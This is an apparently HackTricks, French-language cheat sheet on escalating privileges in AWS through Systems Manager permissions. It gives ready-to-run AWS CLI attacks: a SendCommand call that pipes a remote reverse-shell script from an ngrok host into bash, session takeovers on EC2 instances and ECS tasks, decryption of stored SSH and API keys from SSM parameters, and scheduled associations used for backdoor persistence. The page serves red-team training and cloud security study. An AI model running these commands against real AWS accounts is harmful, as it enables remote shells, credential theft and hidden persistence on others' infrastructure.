AWS - SSM Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

SSM

Pour plus d’informations sur SSM, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attaquant disposant de la permission ssm:SendCommand peut exĂ©cuter des commandes sur des instances exĂ©cutant l’Amazon SSM Agent et compromettre le IAM Role qui s’exĂ©cute Ă  l’intĂ©rieur.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Au cas oĂč vous utiliseriez cette technique pour escalader des privilĂšges Ă  l’intĂ©rieur d’une instance EC2 dĂ©jĂ  compromise, vous pourriez simplement capturer le rev shell localement avec :

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impact potentiel: Privesc direct vers les EC2 IAM roles attachĂ©s aux instances en cours d’exĂ©cution avec des SSM Agents.

ssm:StartSession

Un attaquant disposant de l’autorisation ssm:StartSession peut ouvrir une session de type SSH sur des instances exĂ©cutant l’Amazon SSM Agent et compromettre l’IAM Role s’y exĂ©cutant.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Pour démarrer une session vous avez besoin du SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impact potentiel : Privesc direct aux rĂŽles IAM EC2 attachĂ©s aux instances en cours d’exĂ©cution avec des SSM Agents actifs.

Privesc vers ECS

Lorsque les ECS tasks s’exĂ©cutent avec ExecuteCommand enabled les utilisateurs disposant des permissions suffisantes peuvent utiliser ecs execute-command pour exĂ©cuter une commande Ă  l’intĂ©rieur du conteneur.
Selon la documentation cela se fait en crĂ©ant un canal sĂ©curisĂ© entre l’appareil que vous utilisez pour initier la commande “exec” et le conteneur cible via SSM Session Manager. (SSM Session Manager Plugin nĂ©cessaire pour que cela fonctionne)\
Par consĂ©quent, les utilisateurs avec ssm:StartSession pourront obtenir un shell Ă  l’intĂ©rieur des ECS tasks ayant cette option activĂ©e simplement en exĂ©cutant:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impact potentiel : Privesc direct vers les ECSIAM roles attachĂ©s aux tĂąches en cours d’exĂ©cution avec ExecuteCommand activĂ©.

ssm:ResumeSession

Un attaquant disposant de la permission ssm:ResumeSession peut re-dĂ©marrer une session de type SSH sur des instances exĂ©cutant l’Amazon SSM Agent avec un Ă©tat de session SSM dĂ©connectĂ© et compromettre le IAM Role s’exĂ©cutant Ă  l’intĂ©rieur de celle-ci.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impact potentiel : privesc direct vers les rĂŽles IAM EC2 attachĂ©s aux instances en cours d’exĂ©cution avec des SSM Agents actifs et des sessions dĂ©connectĂ©es.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attaquant disposant des permissions mentionnées pourra lister les SSM parameters et les lire en clair. Dans ces paramÚtres, vous pouvez fréquemment trouver des informations sensibles telles que des SSH keys ou des API keys.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impact potentiel : Trouver des informations sensibles dans les paramĂštres.

ssm:ListCommands

Un attaquant disposant de cette permission peut lister toutes les commandes envoyées et potentiellement y trouver des informations sensibles.

aws ssm list-commands

Potential Impact: Trouver des informations sensibles dans les lignes de commande.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaquant disposant de ces permissions peut lister toutes les commands envoyées et lire la sortie générée, en espérant y trouver des informations sensibles.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.

Utilisation de ssm:CreateAssociation

Un attaquant disposant de l’autorisation ssm:CreateAssociation peut crĂ©er une State Manager Association pour exĂ©cuter automatiquement des commandes sur des instances EC2 gĂ©rĂ©es par SSM. Ces associations peuvent ĂȘtre configurĂ©es pour s’exĂ©cuter Ă  intervalles fixes, les rendant adaptĂ©es Ă  la backdoor-like persistence sans sessions interactives.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Cette mĂ©thode de persistance fonctionne tant que l’instance EC2 est gĂ©rĂ©e par Systems Manager, que l’agent SSM est en cours d’exĂ©cution, et que l’attaquant a l’autorisation de crĂ©er des associations. Elle ne requiert pas de sessions interactives ni la permission explicite ssm:SendCommand. Important : Le paramĂštre --schedule-expression (par ex., rate(30 minutes)) doit respecter l’intervalle minimum d’AWS de 30 minutes. Pour une exĂ©cution immĂ©diate ou ponctuelle, omettez complĂštement --schedule-expression — l’association s’exĂ©cutera une fois aprĂšs sa crĂ©ation.

Codebuild

Vous pouvez aussi utiliser SSM pour accĂ©der Ă  un projet Codebuild en cours d’exĂ©cution :

AWS - Codebuild Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks